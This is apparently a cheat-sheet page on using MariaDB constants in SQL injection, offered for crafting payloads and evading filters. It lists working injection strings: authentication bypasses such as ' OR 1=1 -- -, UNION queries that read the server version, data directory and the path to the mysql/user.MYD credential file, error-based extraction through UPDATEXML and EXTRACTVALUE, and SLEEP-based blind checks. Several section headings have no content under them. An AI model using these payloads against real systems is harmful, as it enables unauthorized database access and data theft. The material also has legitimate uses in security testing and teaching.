Constants

MariaDB supports various types of constants (literals) that can be valuable in SQL injection attacks. Understanding these constants helps in crafting more effective payloads and bypassing certain filters.

Numeric Constants

MariaDB supports several formats for numeric literals:

String Constants

String literals can be represented in several ways:

Building Strings with CHAR()

The CHAR() function converts integers to characters, useful for bypassing quote filters:

-- Build 'admin' from ASCII codes
SELECT CHAR(97, 100, 109, 105, 110) -- Returns: admin

-- Build arbitrary strings using CONCAT and CHAR
SELECT CONCAT(CHAR(116), CHAR(101), CHAR(115), CHAR(116)) -- Returns: test

Temporal Constants

Date and time constants:

Special Constants

MariaDB has several special values:

COALESCE Function

The COALESCE function returns the first non-NULL value in a list:

-- Returns first non-NULL value
SELECT COALESCE(NULL, 'default_value') -- Returns: default_value

-- Useful for error-based extraction with fallback
SELECT COALESCE(NULL, NULL, @@version) -- Returns: version string

System Constants

Some important MariaDB system constants:

Boolean Expressions

Boolean expressions evaluate to 1 or 0:

Using Constants in SQL Injection

String Constants in Bypasses

-- Standard string
' OR 'a'='a

-- Hex string bypass
' OR 0x613d61 -- (a=a in hex)

-- Mixed approach
' OR 0x61='a' -- (a='a')

Numeric Constants in Bypasses

-- Boolean as number
' OR true -- (same as 1)

-- Hex number
' OR 0x1 -- (same as 1)

-- Mathematical expression
' OR 4-3 -- (evaluates to 1)

Practical Applications

Using Boolean Constants

-- Simple authentication bypass
' OR 1 -- -
' OR true -- -
' OR 1=1 -- -

Using String Constants

-- Hex-encoded bypass
' UNION SELECT 0x61646D696E -- - (selects 'admin')

-- Bypassing quote filters with CHAR()
SELECT CHAR(97, 100, 109, 105, 110) -- 'admin'

-- Hex string in UNION injection
SELECT id, username FROM users WHERE id = 999 UNION SELECT 1, 0x696E6A6563746564
-- 0x696E6A6563746564 = 'injected'

Using System Constants

-- Information gathering
' UNION SELECT @@version, @@datadir -- -

-- Path disclosure
' UNION SELECT CONCAT(@@datadir,'/mysql/user.MYD') -- -

Error-Based Injection with Constants

-- UPDATEXML error-based extraction
' AND UPDATEXML(1,CONCAT('~',@@version,'~'),1) -- -

-- EXTRACTVALUE error-based extraction
' AND EXTRACTVALUE(1,CONCAT(0x7e,@@version,0x7e)) -- -

-- Causing type conversion errors
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(@@version,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) -- -

Constants in Time-Based Attacks

-- Sleep only if condition is true
' AND IF(SUBSTR(@@version,1,1)='1',SLEEP(5),0) -- -

-- Using hex constants in time-based
' AND IF(SUBSTR(@@version,1,1)=0x31,SLEEP(5),0) -- - (checking for '1')

Case Sensitivity

Boolean and NULL constants are case-insensitive, useful for bypassing case-sensitive filters:

-- All equivalent (case-insensitive)
SELECT TRUE, True, true   -- All return 1
SELECT FALSE, False, false -- All return 0
SELECT NULL, Null, null   -- All return NULL

-- Can be useful for bypassing case-sensitive filters
' OR TRUE -- -
' OR True -- -
' OR true -- -

Limitations and Considerations

1. Hex string literals are MySQL/MariaDB-specific and may not work in other databases
2. Some constants like true/false are case-insensitive (can be used for filter bypass)
3. String constants are limited to available character encoding
4. Some system constants require specific privileges to access
5. Constants behavior can vary across MariaDB versions